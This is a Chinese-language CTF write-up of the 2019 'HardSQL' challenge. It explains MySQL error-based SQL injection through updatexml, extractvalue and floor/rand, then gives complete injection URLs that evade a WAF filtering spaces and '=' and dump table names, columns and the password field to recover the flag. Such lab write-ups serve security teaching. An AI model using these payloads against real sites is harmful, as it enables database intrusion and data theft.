【报错注入】极客大挑战 2019 HardSQL WriteUp

本文最后更新于:2021年8月18日下午1点46分

报错注入原理:

updatexml()函数

  • 介绍:updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。

  • 作用:改变文档中符合条件的节点的值

  • 语法:updatexml(XML_document,XPath_string,new_value) 第一个参数:是string格式,为XML文档对象的名称,文中为Doc 第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】 第三个参数:string格式,替换查找到的符合条件的数据

  • 原理:updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax

  • 例如: select * from test where ide = 1 and (updatexml(1,0x7e,3)); 由于0x7e~,不属于xpath语法格式,因此报出xpath语法错误。

  • 以下代码摘自微笑师傅:(便于理解)链接在这!

    1
    2
    3
    UpdateXml报错注入
    mysql> select updatexml(0,concat(0x7e,(select database())),0);
    ERROR 1105 (HY000): XPATH syntax error: '~security'

extractvalue()函数

  • 介绍:此函数从目标XML中返回包含所查询值的字符串

  • 语法:extractvalue(XML_document,xpath_string) 第一个参数:string格式,为XML文档对象的名称,第二个参数:xpath_string(xpath格式的字符串) select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

  • 作用:extractvalue使用时当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax

  • 例如:select user,password from users where user_id=1 and (extractvalue(1,0x7e));

  • 原理:由于0x7e就是~不属于xpath语法格式,因此报出xpath语法错误。

  • 以下代码摘自微笑师傅:(便于理解):

    1
    2
    3
    extractvalue报错注入
    mysql> select extractvalue(1,concat(0x5c,(select database())));
    ERROR 1105 (HY000): XPATH syntax error: '\security'

floor()报错注入

floor()报错注入原理(个人理解):

为什么要使用floor和rand:

1
2
SELECT rand();
生成01之间的随机数
1
2
SELECT rand(0);
由于给了一个随机数种子0,导致生成的第一个“伪随机数”固定为0.15522042769493574

此时,新建一个table1的表,该表中一共有4个数据,执行以下sql语句

1
SELECT rand(0) FROM table1;

返回结果如下:

image-20210410120512893

多次执行该sql语句SELECT rand(0) FROM table1;,返回的结果都如上图所示。

而此时,将rand(0)改造为floor(rand(0)*2)时,sql语句修改如下

1
SELECT floor(rand(0)*2) FROM table1;

此时返回的结果为一个固定的序列,0 1 1 0

image-20210410121131737

而又因为 rand 函数的特殊性(如果使用rand()的话,该值会被计算多次)。
在这里的意思就是,group by 进行分组时,floor(rand(0)*2)执行一次(查看分组是否存在),如果虚拟表中不存在该分组,那么在插入新分组的时候 floor(rand(0)*2) 就又计算了一次。(其实在上述 rand(0) 产生多个数据的时候,也能观察出来。只要 rand(0) 被调用,一定会产生新值)。

报错:

当 group by 对其进行分组的时候,首先遇到第一个值 0 ,发现 0 不存在,于是需要插入分组,就在这时,floor(rand(0)\*2)再次被触发,生成第二个值 1 ,因此最终插入虚拟表的也就是第二个值 1 ;然后遇到第三个值 1 ,因为已经存在分组 1 了,就直接计数加1(这时1的计数变为2);遇到第四个值 0 的时候,发现 0 不存在,于是又需要插入新分组,然后floor(rand(0)*2)又被触发,生成第五个值 1 ,因此这时还是往虚拟表里插入分组 1 ,但是,分组 1 已经存在了!所以报错!

以下代码摘自微笑师傅:(便于理解):

1
2
3
Error based Double Query Injection
mysql> select * from users where id=1 or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1;
ERROR 1062 (23000): Duplicate entry '5.5.53~1' for key 'group_key'

WriteUp:

打开题目,是一个登录框页面

image-20210529124427251

随手输入一个adminadmin

image-20210529124450842

可以看到,用get传参username以及password

利用单引号'闭合username参数

1
http://0cb89b5d-c7c4-42d8-b5d9-5059a5965e31.node3.buuoj.cn/check.php?username=admin'&password=admin

image-20210529124557456

可以看到有报错,尝试使用updatexml()报错注入

1
http://0cb89b5d-c7c4-42d8-b5d9-5059a5965e31.node3.buuoj.cn/check.php?username=admin'or (updatexml(1,concat(0x7e,(database()),0x7e),1))%23&password=admin

image-20210529124941322

可以看到,被waf拦截了,经过检查以后,waf将空格space进行了拦截,将payload进行修正

1
http://0cb89b5d-c7c4-42d8-b5d9-5059a5965e31.node3.buuoj.cn/check.php?username=admin'or((updatexml(1,concat(0x7e,(database()),0x7e),1)))%23&password=admin

image-20210529125133065

得到当前的数据库为geek

然后用相同的方法爆出当前的数据表

1
http://0cb89b5d-c7c4-42d8-b5d9-5059a5965e31.node3.buuoj.cn/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),0x7e),1))%23&password=admin

image-20210529125244726

经过检查以后,发现等号=被waf拦截了,因此使用like命令

payload修改为:

1
http://0cb89b5d-c7c4-42d8-b5d9-5059a5965e31.node3.buuoj.cn/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek'))),0x7e),1))%23&password=admin

image-20210529125350997

爆出当前的数据表为H4rDsq1

在利用相同方法爆出当前数据表下的字段,payload为:

1
http://0cb89b5d-c7c4-42d8-b5d9-5059a5965e31.node3.buuoj.cn/check.php?username=admin'or((updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1'))),0x7e),1)))%23&password=admin

image-20210529125501209

得到当前的数据表下有三个字段,分别为id,username,password

再爆出这三个字段中的内容

先爆id

1
http://0cb89b5d-c7c4-42d8-b5d9-5059a5965e31.node3.buuoj.cn/check.php?username=admin'or((updatexml(1,concat(0x7e,(select(group_concat(id))from(geek.H4rDsq1)),0x7e),1)))%23&password=admin

image-20210529125627669

再爆username

1
http://0cb89b5d-c7c4-42d8-b5d9-5059a5965e31.node3.buuoj.cn/check.php?username=admin'or((updatexml(1,concat(0x7e,(select(group_concat(username))from(geek.H4rDsq1)),0x7e),1)))%23&password=admin

image-20210529125706301

最后爆password

1
http://0cb89b5d-c7c4-42d8-b5d9-5059a5965e31.node3.buuoj.cn/check.php?username=admin'or((updatexml(1,concat(0x7e,(select(group_concat(password))from(geek.H4rDsq1)),0x7e),1)))%23&password=admin

image-20210529125743380

得到一部分flag:flag{c6f71b98-07e8-489f-8d4c-09

由于updatexml()函数只能爆出32位,因此,用right函数,截取password后半段,将payload修改为

1
http://0cb89b5d-c7c4-42d8-b5d9-5059a5965e31.node3.buuoj.cn/check.php?username=admin'or((updatexml(1,concat(0x7e,(select(group_concat(right(password,20)))from(geek.H4rDsq1)),0x7e),1)))%23&password=admin

image-20210529125909945

后半段的flag为:f-8d4c-094e32440be8}

拼接而成,得到flagflag{c6f71b98-07e8-489f-8d4c-094e32440be8}


参考文章: